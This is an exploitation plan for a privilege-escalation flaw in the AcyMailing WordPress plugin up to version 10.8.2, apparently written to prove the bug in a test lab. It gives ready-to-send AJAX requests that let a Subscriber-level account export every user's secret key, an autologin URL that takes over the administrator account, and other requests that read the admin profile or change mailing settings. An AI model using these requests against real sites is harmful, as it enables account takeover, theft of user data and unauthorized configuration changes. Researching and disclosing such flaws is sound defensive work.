AcyMailing <= 10.8.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation via 'acymailing_router'

This research plan outlines the steps required to demonstrate privilege escalation and account takeover in AcyMailing versions 10.8.2 and below.

1. Vulnerability Summary

The acymailing plugin registers a centralized AJAX router, acymailing_router, which fails to implement any capability checks (e.g., current_user_can()) or nonce verification. While the router calls auth_redirect(), this only ensures the user is authenticated (at any level, including Subscriber) but does not verify they have administrative permissions. This allows a low-privileged user to invoke high-privileged controller methods to modify configuration or export sensitive user data, including "secret keys" used for automated login.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: acymailing_router
• Vulnerable Parameters: ctrl (specifies the controller) and task (specifies the method).
• Authentication: Required (Subscriber or higher).
• Preconditions: A known target administrator's email address or user ID.

3. Code Flow

1. Entry Point: The AcyMailing\WpInit\Router::__construct registers wp_ajax_acymailing_router pointing to the router method.
2. Authorization Failure: Inside AcyMailing\WpInit\Router::router(bool $front = false):
   • Line 158: if (!$front) { auth_redirect(); } is called. This only checks if the user is logged in.
   • The code then determines the controller via $ctrl = acym_getVar('cmd', 'ctrl', ''); (Line 183).
   • Line 222: The controller class is dynamically instantiated: $controllerNamespace = 'AcyMailing\\'.$subNamespace.'Controllers\\'.ucfirst($ctrl).'Controller';.
   • The code proceeds to invoke the controller without checking if the current user should have access to the back (admin) namespace controllers.
3. Sink: Methods within AcyMailing\Controllers\UsersController or AcyMailing\Controllers\ConfigurationController are executed, allowing data export or setting modification.

4. Nonce Acquisition Strategy

The router method in WpInit/Router.php does not call check_ajax_referer or wp_verify_nonce. Therefore, the exploitation of this specific endpoint does not require a nonce.

Note: If specific controller tasks (invoked via the router) happen to check for a nonce independently, it can be found in the global JS variable acym_helper or acymailing localized by the plugin on admin pages accessible to subscribers (like the dashboard if enabled).

5. Exploitation Strategy

Step 1: Export Admin Secret Key

The attacker will use the UsersController to export user data. AcyMailing allows exporting user lists to CSV, which includes the key field.

• Request Type: POST
• URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=acymailing_router
  &ctrl=users
  &task=export
  &export_type=csv
  &columns[]=email
  &columns[]=key
  &columns[]=id
  

• Expected Response: A CSV file or a direct download link containing the email addresses and the secret key for all users, including the administrator.

Step 2: Account Takeover via Autologin

Once the administrator's key and id (or email) are obtained, the attacker uses the autologin feature registered in Router.php.

• Target URL: http://vulnerable-site.com/index.php?acy_user=[ADMIN_ID]&acy_key=[SECRET_KEY]
• Mechanism: The Router::autologin method (invoked on the init hook) checks these parameters and authenticates the session as the user associated with that key.

6. Test Data Setup

1. Users:
   • Create an Administrator user (e.g., admin@example.com).
   • Create a Subscriber user (e.g., attacker@example.com).
2. Plugin State: Ensure AcyMailing 10.8.2 is installed and activated.
3. Data: Ensure the AcyMailing user table contains the administrator's record (the plugin usually syncs WP users to its own table automatically).

7. Expected Results

• The AJAX request to ctrl=users&task=export should return a 200 OK response with the CSV content, despite the requester being a Subscriber.
• The CSV content must contain a column for key.
• Navigating to the autologin URL should result in the attacker being redirected to the dashboard as the Administrator.

8. Verification Steps

1. Check Role: After the autologin redirect, use wp user get $(wp user self --field=ID) --field=roles to verify the current session is an administrator.
2. Verify Configuration Access: Attempt to access the AcyMailing configuration page via the UI to confirm full administrative access.
3. Database Check: Confirm the key used matches the key in the {prefix}_acym_user table:
   wp db query "SELECT email, \key` FROM wp_acym_user WHERE cms_id = 1"`

9. Alternative Approaches

If the export task is restricted within the controller, attempt to use the UsersController::edit task to read the admin's profile:

• Request: action=acymailing_router&ctrl=users&task=edit&id=[ADMIN_ID]
• Payload: Look for the secret key in the HTML response/form fields.

If configuration modification is the goal:

• Task: ctrl=configuration&task=save
• Payload: &config[sender_email]=attacker@example.com&config[allow_unsub]=0 (demonstrating unauthorized config modification).